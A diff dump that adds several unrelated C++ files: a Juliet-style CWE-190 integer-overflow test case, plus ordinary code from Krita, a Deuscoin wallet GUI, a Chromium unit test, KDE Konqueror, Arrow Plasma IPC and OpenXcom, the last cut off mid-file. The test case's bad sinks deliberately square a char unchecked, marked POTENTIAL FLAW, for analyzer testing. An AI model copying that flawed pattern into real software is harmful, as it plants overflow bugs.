b/pool/shard011/C++/0118434_CWE190_Integer_Overflow__char_fscanf_square_74b.cpp @@ -0,0 +1,74 @@ +/* TEMPLATE GENERATED TESTCASE FILE +Filename: CWE190_Integer_Overflow__char_fscanf_square_74b.cpp +Label Definition File: CWE190_Integer_Overflow.label.xml +Template File: sources-sinks-74b.tmpl.cpp +*/ +/* + * @description + * CWE: 190 Integer Overflow + * BadSource: fscanf Read data from the console using fscanf() + * GoodSource: Set data to a small, non-zero number (two) + * Sinks: square + * GoodSink: Ensure there will not be an overflow before squaring data + * BadSink : Square data, which can lead to overflow + * Flow Variant: 74 Data flow: data passed in a map from one function to another in different source files + * + * */ + +#include "std_testcase.h" +#include + +#include + +using namespace std; + +namespace CWE190_Integer_Overflow__char_fscanf_square_74 +{ + +#ifndef OMITBAD + +void badSink(map dataMap) +{ + /* copy data out of dataMap */ + char data = dataMap[2]; + { + /* POTENTIAL FLAW: if (data*data) > CHAR_MAX, this will overflow */ + char result = data * data; + printHexCharLine(result); + } +} + +#endif /* OMITBAD */ + +#ifndef OMITGOOD + +/* goodG2B uses the GoodSource with the BadSink */ +void goodG2BSink(map dataMap) +{ + char data = dataMap[2]; + { + /* POTENTIAL FLAW: if (data*data) > CHAR_MAX, this will overflow */ + char result = data * data; + printHexCharLine(result); + } +} + +/* goodB2G uses the BadSource with the GoodSink */ +void goodB2GSink(map dataMap) +{ + char data = dataMap[2]; + /* FIX: Add a check to prevent an overflow from occurring */ + if (abs((long)data) <= (long)sqrt((double)CHAR_MAX)) + { + char result = data * data; + printHexCharLine(result); + } + else + { + printLine("data value is too large to perform arithmetic safely."); + } +} + +#endif /* OMITGOOD */ + +} /* close namespace */ diff --git a/pool/shard011/C++/0118437_DodgeBurn.cpp b/pool/shard011/C++/0118437_DodgeBurn.cpp new file mode 100644 index 0000000000000000000000000000000000000000..248bf36175d8724e6b339cd1bc59f2ba7c521726 --- /dev/null +++ b/pool/shard011/C++/0118437_DodgeBurn.cpp @@ -0,0 +1,111 @@ +/* + * Copyright (c) 2009 Cyrille Berger + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation; version 2 of the License. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +#include "DodgeBurn.h" +#include +#include + +#include "ui_DodgeBurnConfigurationBaseWidget.h" + +KisFilterDodgeBurn::KisFilterDodgeBurn(const QString& id, const QString& prefix, const QString& name ) : KisColorTransformationFilter(KoID(id, name), categoryAdjust(), name), m_prefix(prefix) +{ + setColorSpaceIndependence(FULLY_INDEPENDENT); + setSupportsPainting(true); +} + +KisConfigWidget * KisFilterDodgeBurn::createConfigurationWidget(QWidget* parent, const KisPaintDeviceSP dev) const +{ + Q_UNUSED(dev); + return new KisDodgeBurnConfigWidget(parent, id()); +} + +KoColorTransformation* KisFilterDodgeBurn::createTransformation(const KoColorSpace* cs, const KisFilterConfiguration* config) const +{ + QHash params; + QString suffix = "Midtones"; + if (config) { + params["exposure"] = config->getDouble("exposure", 0.5); + int type = config->getInt("type", KisFilterDodgeBurn::MIDTONES); + switch(type) + { + case KisFilterDodgeBurn::HIGHLIGHTS: + suffix = "Highlights"; + break; + case KisFilterDodgeBurn::SHADOWS: + suffix = "Shadows"; + break; + default: + break; + } + } + return cs->createColorTransformation(m_prefix + suffix, params); + +} + +KisDodgeBurnConfigWidget::KisDodgeBurnConfigWidget(QWidget * parent, const QString& id) : KisConfigWidget(parent), m_id(id) +{ + m_page = new Ui_DodgeBurnConfigurationBaseWidget(); + m_page->setupUi(this); + + connect(m_page->radioButtonHighlights, SIGNAL(toggled(bool)), SIGNAL(sigConfigurationItemChanged())); + connect(m_page->radioButtonMidtones, SIGNAL(toggled(bool)), SIGNAL(sigConfigurationItemChanged())); + connect(m_page->radioButtonShadows, SIGNAL(toggled(bool)), SIGNAL(sigConfigurationItemChanged())); + connect(m_page->sliderExposure, SIGNAL(valueChanged(int)), SIGNAL(sigConfigurationItemChanged())); +} + +KisDodgeBurnConfigWidget::~KisDodgeBurnConfigWidget() +{ + delete m_page; +} + +KisPropertiesConfiguration * KisDodgeBurnConfigWidget::configuration() const +{ + KisFilterConfiguration* c = new KisFilterConfiguration(m_id, 0); + int type = 0; + if(m_page->radioButtonHighlights->isChecked()) + { + type = KisFilterDodgeBurn::HIGHLIGHTS; + } else if(m_page->radioButtonShadows->isChecked()) + { + type = KisFilterDodgeBurn::SHADOWS; + } else { + type = KisFilterDodgeBurn::MIDTONES; + } + c->setProperty("type", type); + c->setProperty("exposure", m_page->sliderExposure->value() / 100.0); + return c; +} + +void KisDodgeBurnConfigWidget::setConfiguration(const KisPropertiesConfiguration * config) +{ + int type = config->getInt("type", KisFilterDodgeBurn::MIDTONES); + switch(type) + { + case KisFilterDodgeBurn::HIGHLIGHTS: + m_page->radioButtonHighlights->setChecked(true); + break; + case KisFilterDodgeBurn::SHADOWS: + m_page->radioButtonShadows->setChecked(true); + break; + default: + case KisFilterDodgeBurn::MIDTONES: + m_page->radioButtonMidtones->setChecked(true); + break; + } + m_page->sliderExposure->setValue(config->getDouble("exposure", 0.5) * 100); +} + diff --git a/pool/shard011/C++/0118440_walletframe.cpp b/pool/shard011/C++/0118440_walletframe.cpp new file mode 100644 index 0000000000000000000000000000000000000000..0715ba12e465a5f699412fac79467065f23922fe --- /dev/null +++ b/pool/shard011/C++/0118440_walletframe.cpp @@ -0,0 +1,196 @@ +// Copyright (c) 2011-2013 The Bitcoin Core and Deuscoin Core developers +// Distributed under the MIT/X11 software license, see the accompanying +// file COPYING or http://www.opensource.org/licenses/mit-license.php. + +#include "walletframe.h" + +#include "deuscoingui.h" +#include "walletview.h" + +#include + +#include +#include + +WalletFrame::WalletFrame(DeuscoinGUI *_gui) : + QFrame(_gui), + gui(_gui) +{ + // Leave HBox hook for adding a list view later + QHBoxLayout *walletFrameLayout = new QHBoxLayout(this); + setContentsMargins(0,0,0,0); + walletStack = new QStackedWidget(this); + walletFrameLayout->setContentsMargins(0,0,0,0); + walletFrameLayout->addWidget(walletStack); + + QLabel *noWallet = new QLabel(tr("No wallet has been loaded.")); + noWallet->setAlignment(Qt::AlignCenter); + walletStack->addWidget(noWallet); +} + +WalletFrame::~WalletFrame() +{ +} + +void WalletFrame::setClientModel(ClientModel *clientModel) +{ + this->clientModel = clientModel; +} + +bool WalletFrame::addWallet(const QString& name, WalletModel *walletModel) +{ + if (!gui || !clientModel || !walletModel || mapWalletViews.count(name) > 0) + return false; + + WalletView *walletView = new WalletView(this); + walletView->setDeuscoinGUI(gui); + walletView->setClientModel(clientModel); + walletView->setWalletModel(walletModel); + walletView->showOutOfSyncWarning(bOutOfSync); + + /* TODO we should goto the currently selected page once dynamically adding wallets is supported */ + walletView->gotoOverviewPage(); + walletStack->addWidget(walletView); + mapWalletViews[name] = walletView; + + // Ensure a walletView is able to show the main window + connect(walletView, SIGNAL(showNormalIfMinimized()), gui, SLOT(showNormalIfMinimized())); + + return true; +} + +bool WalletFrame::setCurrentWallet(const QString& name) +{ + if (mapWalletViews.count(name) == 0) + return false; + + WalletView *walletView = mapWalletViews.value(name); + walletStack->setCurrentWidget(walletView); + walletView->updateEncryptionStatus(); + return true; +} + +bool WalletFrame::removeWallet(const QString &name) +{ + if (mapWalletViews.count(name) == 0) + return false; + + WalletView *walletView = mapWalletViews.take(name); + walletStack->removeWidget(walletView); + return true; +} + +void WalletFrame::removeAllWallets() +{ + QMap::const_iterator i; + for (i = mapWalletViews.constBegin(); i != mapWalletViews.constEnd(); ++i) + walletStack->removeWidget(i.value()); + mapWalletViews.clear(); +} + +bool WalletFrame::handlePaymentRequest(const SendCoinsRecipient &recipient) +{ + WalletView *walletView = currentWalletView(); + if (!walletView) + return false; + + return walletView->handlePaymentRequest(recipient); +} + +void WalletFrame::showOutOfSyncWarning(bool fShow) +{ + bOutOfSync = fShow; + QMap::const_iterator i; + for (i = mapWalletViews.constBegin(); i != mapWalletViews.constEnd(); ++i) + i.value()->showOutOfSyncWarning(fShow); +} + +void WalletFrame::gotoOverviewPage() +{ + QMap::const_iterator i; + for (i = mapWalletViews.constBegin(); i != mapWalletViews.constEnd(); ++i) + i.value()->gotoOverviewPage(); +} + +void WalletFrame::gotoHistoryPage() +{ + QMap::const_iterator i; + for (i = mapWalletViews.constBegin(); i != mapWalletViews.constEnd(); ++i) + i.value()->gotoHistoryPage(); +} + +void WalletFrame::gotoReceiveCoinsPage() +{ + QMap::const_iterator i; + for (i = mapWalletViews.constBegin(); i != mapWalletViews.constEnd(); ++i) + i.value()->gotoReceiveCoinsPage(); +} + +void WalletFrame::gotoSendCoinsPage(QString addr) +{ + QMap::const_iterator i; + for (i = mapWalletViews.constBegin(); i != mapWalletViews.constEnd(); ++i) + i.value()->gotoSendCoinsPage(addr); +} + +void WalletFrame::gotoSignMessageTab(QString addr) +{ + WalletView *walletView = currentWalletView(); + if (walletView) + walletView->gotoSignMessageTab(addr); +} + +void WalletFrame::gotoVerifyMessageTab(QString addr) +{ + WalletView *walletView = currentWalletView(); + if (walletView) + walletView->gotoVerifyMessageTab(addr); +} + +void WalletFrame::encryptWallet(bool status) +{ + WalletView *walletView = currentWalletView(); + if (walletView) + walletView->encryptWallet(status); +} + +void WalletFrame::backupWallet() +{ + WalletView *walletView = currentWalletView(); + if (walletView) + walletView->backupWallet(); +} + +void WalletFrame::changePassphrase() +{ + WalletView *walletView = currentWalletView(); + if (walletView) + walletView->changePassphrase(); +} + +void WalletFrame::unlockWallet() +{ + WalletView *walletView = currentWalletView(); + if (walletView) + walletView->unlockWallet(); +} + +void WalletFrame::usedSendingAddresses() +{ + WalletView *walletView = currentWalletView(); + if (walletView) + walletView->usedSendingAddresses(); +} + +void WalletFrame::usedReceivingAddresses() +{ + WalletView *walletView = currentWalletView(); + if (walletView) + walletView->usedReceivingAddresses(); +} + +WalletView *WalletFrame::currentWalletView() +{ + return qobject_cast(walletStack->currentWidget()); +} + diff --git a/pool/shard011/C++/0118441_shared_module_service_unittest.cc b/pool/shard011/C++/0118441_shared_module_service_unittest.cc new file mode 100644 index 0000000000000000000000000000000000000000..2c38444c3f0fdc05faa559f5c839d71bd0b61aef --- /dev/null +++ b/pool/shard011/C++/0118441_shared_module_service_unittest.cc @@ -0,0 +1,179 @@ +// Copyright 2014 The Chromium Authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +#include "base/memory/ref_counted.h" +#include "base/memory/scoped_ptr.h" +#include "base/strings/string16.h" +#include "base/values.h" +#include "chrome/browser/extensions/extension_service.h" +#include "chrome/browser/extensions/extension_service_test_base.h" +#include "chrome/browser/extensions/pending_extension_manager.h" +#include "chrome/browser/extensions/shared_module_service.h" +#include "chrome/common/extensions/features/feature_channel.h" +#include "extensions/browser/extension_registry.h" +#include "extensions/browser/install_flag.h" +#include "extensions/common/extension_builder.h" +#include "extensions/common/id_util.h" +#include "extensions/common/value_builder.h" +#include "sync/api/string_ordinal.h" + +namespace extensions { + +namespace { + +// Return an extension with |id| which imports a module with the given +// |import_id|. +scoped_refptr CreateExtensionImportingModule( + const std::string& import_id, const std::string& id) { + scoped_ptr manifest = + DictionaryBuilder() + .Set("name", "Has Dependent Modules") + .Set("version", "1.0") + .Set("manifest_version", 2) + .Set("import", + ListBuilder().Append(DictionaryBuilder().Set("id", import_id))) + .Build(); + + return ExtensionBuilder().SetManifest(manifest.Pass()) + .AddFlags(Extension::FROM_WEBSTORE) + .SetID(id) + .Build(); +} + +} // namespace + +class SharedModuleServiceUnitTest : public ExtensionServiceTestBase { + public: + SharedModuleServiceUnitTest() : + // The "export" key is open for dev-channel only, but unit tests + // run as stable channel on the official Windows build. + current_channel_(chrome::VersionInfo::CHANNEL_UNKNOWN) {} + protected: + virtual void SetUp() OVERRIDE; + + // Install an extension and notify the ExtensionService. + testing::AssertionResult InstallExtension(const Extension* extension); + ScopedCurrentChannel current_channel_; +}; + +void SharedModuleServiceUnitTest::SetUp() { + ExtensionServiceTestBase::SetUp(); + InitializeGoodInstalledExtensionService(); + service_->Init(); +} + +testing::AssertionResult SharedModuleServiceUnitTest::InstallExtension( + const Extension* extension) { + // Verify the extension is not already installed. + if (registry()->GetExtensionById(extension->id(), + ExtensionRegistry::ENABLED)) { + return testing::AssertionFailure() << "Extension already installed."; + } + + // Notify the service that the extension is installed. This adds it to the + // registry, notifies interested parties, etc. + service_->OnExtensionInstalled( + extension, syncer::StringOrdinal(), kInstallFlagInstallImmediately); + + // Verify that the extension is now installed. + if (!registry()->GetExtensionById(extension->id(), + ExtensionRegistry::ENABLED)) { + return testing::AssertionFailure() << "Could not install extension."; + } + + return testing::AssertionSuccess(); +} + +TEST_F(SharedModuleServiceUnitTest, AddDependentSharedModules) { + // Create an extension that has a dependency. + std::string import_id = id_util::GenerateId("id"); + std::string extension_id = id_util::GenerateId("extension_id"); + scoped_refptr extension = + CreateExtensionImportingModule(import_id, extension_id); + + PendingExtensionManager* pending_extension_manager = + service_->pending_extension_manager(); + + // Verify that we don't currently want to install the imported module. + EXPECT_FALSE(pending_extension_manager->IsIdPending(import_id)); + + // Try to satisfy imports for the extension. This should queue the imported + // module's installation. + service_->shared_module_service()->SatisfyImports(extension); + EXPECT_TRUE(pending_extension_manager->IsIdPending(import_id)); +} + +TEST_F(SharedModuleServiceUnitTest, PruneSharedModulesOnUninstall) { + // Create a module which exports a resource, and install it. + scoped_ptr manifest = + DictionaryBuilder() + .Set("name", "Shared Module") + .Set("version", "1.0") + .Set("manifest_version", 2) + .Set("export", + DictionaryBuilder().Set("resources", + ListBuilder().Append("foo.js"))).Build(); + scoped_refptr shared_module = + ExtensionBuilder().SetManifest(manifest.Pass()) + .AddFlags(Extension::FROM_WEBSTORE) + .SetID(id_util::GenerateId("shared_module")) + .Build(); + + EXPECT_TRUE(InstallExtension(shared_module)); + + std::string extension_id = id_util::GenerateId("extension_id"); + // Create and install an extension that imports our new module. + scoped_refptr importing_extension = + CreateExtensionImportingModule(shared_module->id(), extension_id); + EXPECT_TRUE(InstallExtension(importing_extension)); + + // Uninstall the extension that imports our module. + base::string16 error; + service_->UninstallExtension(importing_extension->id(), + false, // Not external uninstall. + &error); + EXPECT_TRUE(error.empty()); + + // Since the module was only referenced by that single extension, it should + // have been uninstalled as a side-effect of uninstalling the extension that + // depended upon it. + EXPECT_FALSE(registry()->GetExtensionById(shared_module->id(), + ExtensionRegistry::EVERYTHING)); +} + +TEST_F(SharedModuleServiceUnitTest, WhitelistedImports) { + std::string whitelisted_id = id_util::GenerateId("whitelisted"); + std::string nonwhitelisted_id = id_util::GenerateId("nonwhitelisted"); + // Create a module which exports to a restricted whitelist. + scoped_ptr manifest = + DictionaryBuilder() + .Set("name", "Shared Module") + .Set("version", "1.0") + .Set("manifest_version", 2) + .Set("export", + DictionaryBuilder().Set("whitelist", + ListBuilder() + .Append(whitelisted_id)) + .Set("resources", + ListBuilder().Append("*"))).Build(); + scoped_refptr shared_module = + ExtensionBuilder().SetManifest(manifest.Pass()) + .AddFlags(Extension::FROM_WEBSTORE) + .SetID(id_util::GenerateId("shared_module")) + .Build(); + + EXPECT_TRUE(InstallExtension(shared_module)); + + // Create and install an extension with the whitelisted ID. + scoped_refptr whitelisted_extension = + CreateExtensionImportingModule(shared_module->id(), whitelisted_id); + EXPECT_TRUE(InstallExtension(whitelisted_extension)); + + // Try to install an extension with an ID that is not whitelisted. + scoped_refptr nonwhitelisted_extension = + CreateExtensionImportingModule(shared_module->id(), nonwhitelisted_id); + EXPECT_FALSE(InstallExtension(nonwhitelisted_extension)); +} + +} // namespace extensions diff --git a/pool/shard011/C++/0118442_konqframevisitor.cpp b/pool/shard011/C++/0118442_konqframevisitor.cpp new file mode 100644 index 0000000000000000000000000000000000000000..610d443766bb814d5f3346c49882916b3b76844e --- /dev/null +++ b/pool/shard011/C++/0118442_konqframevisitor.cpp @@ -0,0 +1,68 @@ +/* + This file is part of the KDE project + Copyright (C) 2007 David Faure + + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; see the file COPYING. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#include "konqframevisitor.h" +#include "konqframe.h" +#include "konqview.h" + +bool KonqViewCollector::visit(KonqFrame *frame) +{ + m_views.append(frame->childView()); + return true; +} + +QList KonqViewCollector::collect(KonqFrameBase *topLevel) +{ + KonqViewCollector collector; + topLevel->accept(&collector); + return collector.m_views; +} + +bool KonqLinkableViewsCollector::visit(KonqFrame *frame) +{ + if (!frame->childView()->isFollowActive()) { + m_views.append(frame->childView()); + } + return true; +} + +QList KonqLinkableViewsCollector::collect(KonqFrameBase *topLevel) +{ + KonqLinkableViewsCollector collector; + topLevel->accept(&collector); + return collector.m_views; +} + +bool KonqModifiedViewsCollector::visit(KonqFrame *frame) +{ + KonqView *view = frame->childView(); + if (view && view->isModified()) { + m_views.append(view); + } + return true; +} + +QList KonqModifiedViewsCollector::collect(KonqFrameBase *topLevel) +{ + KonqModifiedViewsCollector collector; + topLevel->accept(&collector); + return collector.m_views; +} + diff --git a/pool/shard011/C++/0118443_io.cc b/pool/shard011/C++/0118443_io.cc new file mode 100644 index 0000000000000000000000000000000000000000..f119f8f81a9a7a0244f6e544d4e0f0e0ecd76791 --- /dev/null +++ b/pool/shard011/C++/0118443_io.cc @@ -0,0 +1,250 @@ +// Licensed to the Apache Software Foundation (ASF) under one +// or more contributor license agreements. See the NOTICE file +// distributed with this work for additional information +// regarding copyright ownership. The ASF licenses this file +// to you under the Apache License, Version 2.0 (the +// "License"); you may not use this file except in compliance +// with the License. You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, +// software distributed under the License is distributed on an +// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +// KIND, either express or implied. See the License for the +// specific language governing permissions and limitations +// under the License. + +#include "plasma/io.h" + +#include +#include +#include + +#include "arrow/status.h" +#include "arrow/util/bit_util.h" +#include "arrow/util/logging.h" + +#include "plasma/common.h" +#include "plasma/plasma_generated.h" + +using arrow::Status; + +/// Number of times we try connecting to a socket. +constexpr int64_t kNumConnectAttempts = 80; +/// Time to wait between connection attempts to a socket. +constexpr int64_t kConnectTimeoutMs = 100; + +namespace plasma { + +using flatbuf::MessageType; + +Status WriteBytes(int fd, uint8_t* cursor, size_t length) { + ssize_t nbytes = 0; + size_t bytesleft = length; + size_t offset = 0; + while (bytesleft > 0) { + // While we haven't written the whole message, write to the file descriptor, + // advance the cursor, and decrease the amount left to write. + nbytes = write(fd, cursor + offset, bytesleft); + if (nbytes < 0) { + if (errno == EAGAIN || errno == EWOULDBLOCK || errno == EINTR) { + continue; + } + return Status::IOError(strerror(errno)); + } else if (nbytes == 0) { + return Status::IOError("Encountered unexpected EOF"); + } + ARROW_CHECK(nbytes > 0); + bytesleft -= nbytes; + offset += nbytes; + } + + return Status::OK(); +} + +Status WriteMessage(int fd, MessageType type, int64_t length, uint8_t* bytes) { + int64_t version = arrow::BitUtil::ToLittleEndian(kPlasmaProtocolVersion); + assert(sizeof(MessageType) == sizeof(int64_t)); + type = static_cast( + arrow::BitUtil::ToLittleEndian(static_cast(type))); + int64_t length_le = arrow::BitUtil::ToLittleEndian(length); + RETURN_NOT_OK(WriteBytes(fd, reinterpret_cast(&version), sizeof(version))); + RETURN_NOT_OK(WriteBytes(fd, reinterpret_cast(&type), sizeof(type))); + RETURN_NOT_OK(WriteBytes(fd, reinterpret_cast(&length_le), sizeof(length))); + return WriteBytes(fd, bytes, length * sizeof(char)); +} + +Status ReadBytes(int fd, uint8_t* cursor, size_t length) { + ssize_t nbytes = 0; + // Termination condition: EOF or read 'length' bytes total. + size_t bytesleft = length; + size_t offset = 0; + while (bytesleft > 0) { + nbytes = read(fd, cursor + offset, bytesleft); + if (nbytes < 0) { + if (errno == EAGAIN || errno == EWOULDBLOCK || errno == EINTR) { + continue; + } + return Status::IOError(strerror(errno)); + } else if (0 == nbytes) { + return Status::IOError("Encountered unexpected EOF"); + } + ARROW_CHECK(nbytes > 0); + bytesleft -= nbytes; + offset += nbytes; + } + + return Status::OK(); +} + +Status ReadMessage(int fd, MessageType* type, std::vector* buffer) { + int64_t version; + RETURN_NOT_OK_ELSE(ReadBytes(fd, reinterpret_cast(&version), sizeof(version)), + *type = MessageType::PlasmaDisconnectClient); + version = arrow::BitUtil::FromLittleEndian(version); + ARROW_CHECK(version == kPlasmaProtocolVersion) << "version = " << version; + RETURN_NOT_OK_ELSE(ReadBytes(fd, reinterpret_cast(type), sizeof(*type)), + *type = MessageType::PlasmaDisconnectClient); + assert(sizeof(MessageType) == sizeof(int64_t)); + *type = static_cast( + arrow::BitUtil::FromLittleEndian(static_cast(*type))); + int64_t length_temp; + RETURN_NOT_OK_ELSE( + ReadBytes(fd, reinterpret_cast(&length_temp), sizeof(length_temp)), + *type = MessageType::PlasmaDisconnectClient); + // The length must be read as an int64_t, but it should be used as a size_t. + size_t length = static_cast(arrow::BitUtil::FromLittleEndian(length_temp)); + if (length > buffer->size()) { + buffer->resize(length); + } + RETURN_NOT_OK_ELSE(ReadBytes(fd, buffer->data(), length), + *type = MessageType::PlasmaDisconnectClient); + return Status::OK(); +} + +int BindIpcSock(const std::string& pathname, bool shall_listen) { + struct sockaddr_un socket_address; + int socket_fd = socket(AF_UNIX, SOCK_STREAM, 0); + if (socket_fd < 0) { + ARROW_LOG(ERROR) << "socket() failed for pathname " << pathname; + return -1; + } + // Tell the system to allow the port to be reused. + int on = 1; + if (setsockopt(socket_fd, SOL_SOCKET, SO_REUSEADDR, reinterpret_cast(&on), + sizeof(on)) < 0) { + ARROW_LOG(ERROR) << "setsockopt failed for pathname " << pathname; + close(socket_fd); + return -1; + } + + unlink(pathname.c_str()); + memset(&socket_address, 0, sizeof(socket_address)); + socket_address.sun_family = AF_UNIX; + if (pathname.size() + 1 > sizeof(socket_address.sun_path)) { + ARROW_LOG(ERROR) << "Socket pathname is too long."; + close(socket_fd); + return -1; + } + strncpy(socket_address.sun_path, pathname.c_str(), pathname.size() + 1); + + if (bind(socket_fd, reinterpret_cast(&socket_address), + sizeof(socket_address)) != 0) { + ARROW_LOG(ERROR) << "Bind failed for pathname " << pathname; + close(socket_fd); + return -1; + } + if (shall_listen && listen(socket_fd, 128) == -1) { + ARROW_LOG(ERROR) << "Could not listen to socket " << pathname; + close(socket_fd); + return -1; + } + return socket_fd; +} + +Status ConnectIpcSocketRetry(const std::string& pathname, int num_retries, + int64_t timeout, int* fd) { + // Pick the default values if the user did not specify. + if (num_retries < 0) { + num_retries = kNumConnectAttempts; + } + if (timeout < 0) { + timeout = kConnectTimeoutMs; + } + *fd = ConnectIpcSock(pathname); + while (*fd < 0 && num_retries > 0) { + ARROW_LOG(ERROR) << "Connection to IPC socket failed for pathname " << pathname + << ", retrying " << num_retries << " more times"; + // Sleep for timeout milliseconds. + usleep(static_cast(timeout * 1000)); + *fd = ConnectIpcSock(pathname); + --num_retries; + } + + // If we could not connect to the socket, exit. + if (*fd == -1) { + return Status::IOError("Could not connect to socket ", pathname); + } + + return Status::OK(); +} + +int ConnectIpcSock(const std::string& pathname) { + struct sockaddr_un socket_address; + int socket_fd; + + socket_fd = socket(AF_UNIX, SOCK_STREAM, 0); + if (socket_fd < 0) { + ARROW_LOG(ERROR) << "socket() failed for pathname " << pathname; + return -1; + } + + memset(&socket_address, 0, sizeof(socket_address)); + socket_address.sun_family = AF_UNIX; + if (pathname.size() + 1 > sizeof(socket_address.sun_path)) { + ARROW_LOG(ERROR) << "Socket pathname is too long."; + close(socket_fd); + return -1; + } + strncpy(socket_address.sun_path, pathname.c_str(), pathname.size() + 1); + + if (connect(socket_fd, reinterpret_cast(&socket_address), + sizeof(socket_address)) != 0) { + close(socket_fd); + return -1; + } + + return socket_fd; +} + +int AcceptClient(int socket_fd) { + int client_fd = accept(socket_fd, NULL, NULL); + if (client_fd < 0) { + ARROW_LOG(ERROR) << "Error reading from socket."; + return -1; + } + return client_fd; +} + +std::unique_ptr ReadMessageAsync(int sock) { + int64_t size; + Status s = ReadBytes(sock, reinterpret_cast(&size), sizeof(int64_t)); + if (!s.ok()) { + // The other side has closed the socket. + ARROW_LOG(DEBUG) << "Socket has been closed, or some other error has occurred."; + close(sock); + return NULL; + } + auto message = std::unique_ptr(new uint8_t[size]); + s = ReadBytes(sock, message.get(), size); + if (!s.ok()) { + // The other side has closed the socket. + ARROW_LOG(DEBUG) << "Socket has been closed, or some other error has occurred."; + close(sock); + return NULL; + } + return message; +} + +} // namespace plasma diff --git a/pool/shard011/C++/0118444_clara-sample.cpp b/pool/shard011/C++/0118444_clara-sample.cpp new file mode 100644 index 0000000000000000000000000000000000000000..8ccb7149413d704df9d447e2e65c4a7615153e25 --- /dev/null +++ b/pool/shard011/C++/0118444_clara-sample.cpp @@ -0,0 +1,68 @@ +// Small example of how to use Clara +// +// Save this snippet as `clara-sample.cpp` together with the simgle-header +// verion of Clara and call `g++` as shown below. +// +// g++ -Wall -std=c++11 -o clara-sample clara-sample.cpp + +#include +#include +#include "clara.hpp" + +// dont show the help by default. Use `-h or `-?` to enable it. +// +bool showHelp = false; + +// this block of variables are changed by Clara with the corresponding options passed +// to the program. +// +int width = 0; +std::string name; +bool doIt = false; +std::string command; + +// This is a special value which is set indirectly by an lamba function! +// +int index = 0; + + +int main ( int argc, char** argv ) +{ + auto cli = clara::detail::Help(showHelp) + | clara::detail::Opt( width, "width" )["-w"]["--width"]("How wide should it be?") + | clara::detail::Opt( name, "name" )["-n"]["--name"]("By what name should I be known") + | clara::detail::Opt( doIt )["-d"]["--doit"]("Do the thing" ) + | clara::detail::Opt( [&]( int i ) + { + if (i < 0 || i > 10) + return clara::detail::ParserResult::runtimeError("index must be between 0 and 10"); + else { + index = i; + return clara::detail::ParserResult::ok( clara::detail::ParseResultType::Matched ); + } + }, "index" ) + ["-i"]( "An index, which is an integer between 0 and 10, inclusive" ) + | clara::detail::Arg( command, "command" )("which command to run").required(); + auto result = cli.parse( clara::detail::Args( argc, argv ) ); + if( !result ) + { + std::cerr << "Error in command line: " << result.errorMessage() << std::endl; + return 1; + } + + if ( showHelp ) + { + std::cerr << cli << std::endl; + return 0; + } + + // show the results! + std::cerr << "Show Help:" << showHelp << std::endl; + std::cerr << "Index:" << index << std::endl; + std::cerr << "Width:" << width << std::endl; + std::cerr << "Name:" << name << std::endl; + std::cerr << "Doit:" << doIt << std::endl; + std::cerr << "Command:" << command << std::endl; + + return 0; +} diff --git a/pool/shard011/C++/0118445_ArticleStateUfo.cpp b/pool/shard011/C++/0118445_ArticleStateUfo.cpp new file mode 100644 index 0000000000000000000000000000000000000000..6c4011dc948655f3be91eec7f0e1f475e6a342a9 --- /dev/null +++ b/pool/shard011/C++/0118445_ArticleStateUfo.cpp @@ -0,0 +1,154 @@ +/* + * Copyright 2010-2020 OpenXcom Developers. + * + * This file is part of OpenXcom. + * + * OpenXcom is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * OpenXcom is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with OpenXcom. If not, see . + */ + +#include "ArticleStateUfo.h" + +//#include + +#include "../Engine/Game.h" +#include "../Engine/LocalizedText.h" +//#include "../Engine/Palette.h" +#include "../Engine/Surface.h" + +#include "../Interface/Text.h" +#include "../Interface/TextButton.h" +#include "../Interface/TextList.h" + +#include "../Resource/ResourcePack.h" + +#include "../Ruleset/ArticleDefinition.h" +//#include "../Ruleset/RuleInterface.h" +#include "../Ruleset/Ruleset.h" +#include "../Ruleset/RuleUfo.h" + + +namespace OpenXcom +{ + +/** + * cTor. + * @param defs - pointer to ArticleDefinitionUfo (ArticleDefinition.h) + */ +ArticleStateUfo::ArticleStateUfo(const ArticleDefinitionUfo* const defs) + : + ArticleState(defs->id) +{ + _txtTitle = new Text(155, 32, 5, 24); + + setPalette(PAL_GEOSCAPE); + + ArticleState::initLayout(false); + + add(_txtTitle); + + _game->getResourcePack()->getSurface("BACK11.SCR")->blit(_bg); + + _btnOk->setColor(GEOSCAPE_CYAN); + _btnPrev->setColor(GEOSCAPE_CYAN); + _btnNext->setColor(GEOSCAPE_CYAN); + + _txtTitle->setText(tr(defs->title)); + _txtTitle->setColor(GEOSCAPE_CYAN); + _txtTitle->setBig(); + _txtTitle->setWordWrap(); + + _image = new Surface(160, 52, 160, 6); + add(_image); + +/* Surface* graphic = _game->getResourcePack()->getSurface("INTERWIN.DAT"); + graphic->setX(0); + graphic->setY(0); + graphic->getCrop()->x = 0; + graphic->getCrop()->y = 0; + graphic->getCrop()->w = 160; + graphic->getCrop()->h = 52; + _image->drawRect(graphic->getCrop(), 15); */ + +/*old + graphic->getCrop()->y = 96; + graphic->getCrop()->h = 15; + graphic->blit(_image); + graphic->setY(67); + graphic->getCrop()->y = 